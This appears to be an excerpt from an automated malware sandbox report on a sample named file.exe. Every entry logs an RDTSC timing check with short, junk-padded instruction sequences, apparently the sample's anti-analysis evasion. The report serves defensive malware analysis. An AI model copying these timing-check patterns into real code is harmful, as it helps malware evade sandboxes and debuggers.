Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AF35 second address: A1AF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F2EE4767543h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2343D second address: A23444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23815 second address: A23828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2EE4767536h 0x0000000a pushad 0x0000000b je 00007F2EE4767536h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23828 second address: A2382E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2382E second address: A2383B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F2EE476753Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2383B second address: A23848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jg 00007F2EE4744176h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23C23 second address: A23C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2EE4767536h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23C34 second address: A23C54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F2EE4744183h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23C54 second address: A23C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F2EE476753Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23DD1 second address: A23DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23F5A second address: A23F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23F60 second address: A23F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CD4B second address: A2CD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2CD50 second address: A2CD58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2AE6F second address: A2AE77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B415 second address: A2B432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744189h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B432 second address: A2B438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B438 second address: A2B43E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B43E second address: A2B444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B444 second address: A2B448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B448 second address: A2B456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F2EE4767536h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B56C second address: A2B570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B570 second address: A2B584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F2EE476753Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B584 second address: A2B598 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2EE474417Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F2EE4744176h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B598 second address: A2B5CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767546h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2EE4767542h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B5CB second address: A2B5F1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2EE4744176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F2EE4744187h 0x00000010 pop ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B732 second address: A2B73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B73D second address: A2B741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B741 second address: A2B781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2EE4767548h 0x0000000c jbe 00007F2EE4767536h 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007F2EE4767540h 0x00000019 popad 0x0000001a jo 00007F2EE476753Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2BA14 second address: A2BA1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2BA1A second address: A2BA3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F2EE4767546h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2BA3B second address: A2BA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F2EE474417Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2AA0F second address: A2AA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2AA13 second address: A2AA41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F2EE4744182h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2AA41 second address: A2AA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A344C9 second address: A344CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34679 second address: A3467F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A347BA second address: A347C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A347C0 second address: A347C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A347C6 second address: A3481D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE4744188h 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F2EE4744188h 0x00000012 pop eax 0x00000013 jp 00007F2EE474417Ah 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007F2EE4744176h 0x00000022 pop edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jbe 00007F2EE4744176h 0x0000002b push edx 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4154F second address: A41557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4106B second address: A4106F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4106F second address: A41081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2EE476753Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A41081 second address: A4108C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F2EE4744176h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44805 second address: A44823 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007F2EE4767536h 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007F2EE4767557h 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F2EE4767536h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44951 second address: A4495B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2EE4744176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4987B second address: A49889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 js 00007F2EE4767536h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3C7 second address: 97C3CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3CF second address: 97C3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3D7 second address: 97C3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C3DB second address: 97C3DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4971C second address: A49725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A535C9 second address: A535CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A535CD second address: A535E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2EE4744176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2EE474417Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A535E7 second address: A5360E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767544h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5360E second address: A53612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A565B1 second address: A565B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58393 second address: A583A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F2EE474417Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A583A6 second address: A583AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A607FD second address: A60803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60803 second address: A60807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60807 second address: A60817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F2EE474417Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F1EB second address: A5F206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F2EE4767542h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F38F second address: A5F396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F396 second address: A5F39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F39D second address: A5F3A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F2EE4744176h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F3A9 second address: A5F3AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F3AD second address: A5F3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F579 second address: A5F57E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F57E second address: A5F584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F6AA second address: A5F6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F6B0 second address: A5F6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F6B8 second address: A5F6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2EE4767536h 0x0000000a pop ecx 0x0000000b jmp 00007F2EE4767543h 0x00000010 popad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F6DC second address: A5F6E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F864 second address: A5F878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767540h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F878 second address: A5F881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A670AC second address: A670CB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2EE4767549h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66CA8 second address: A66CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66CAE second address: A66CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66CB3 second address: A66CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE4744185h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66CCC second address: A66CD6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2EE4767536h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84587 second address: A845A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2EE474417Dh 0x00000009 popad 0x0000000a jng 00007F2EE4744182h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A864EE second address: A864F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A864F2 second address: A864F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A864F8 second address: A86504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007F2EE4767536h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86232 second address: A86236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0756 second address: AA075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA075D second address: AA0783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4744183h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F2EE4744186h 0x0000000f pushad 0x00000010 jne 00007F2EE4744176h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0291 second address: AA02B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F2EE4767547h 0x0000000e jp 00007F2EE4767536h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4BCE second address: AA4BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4CD3 second address: AA4CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5002 second address: AA5032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F2EE4744186h 0x00000010 pushad 0x00000011 ja 00007F2EE4744176h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5032 second address: AA505C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F2EE4767548h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA505C second address: AA5062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA5062 second address: AA5075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2EE476753Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA69F1 second address: AA69F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA69F5 second address: AA6A11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F2EE4767536h 0x0000000d jg 00007F2EE4767536h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6A11 second address: AA6A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6A15 second address: AA6A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140013 second address: 5140048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE474417Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 668073B7h 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F2EE474417Dh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2EE474417Dh 0x0000001d rdtsc
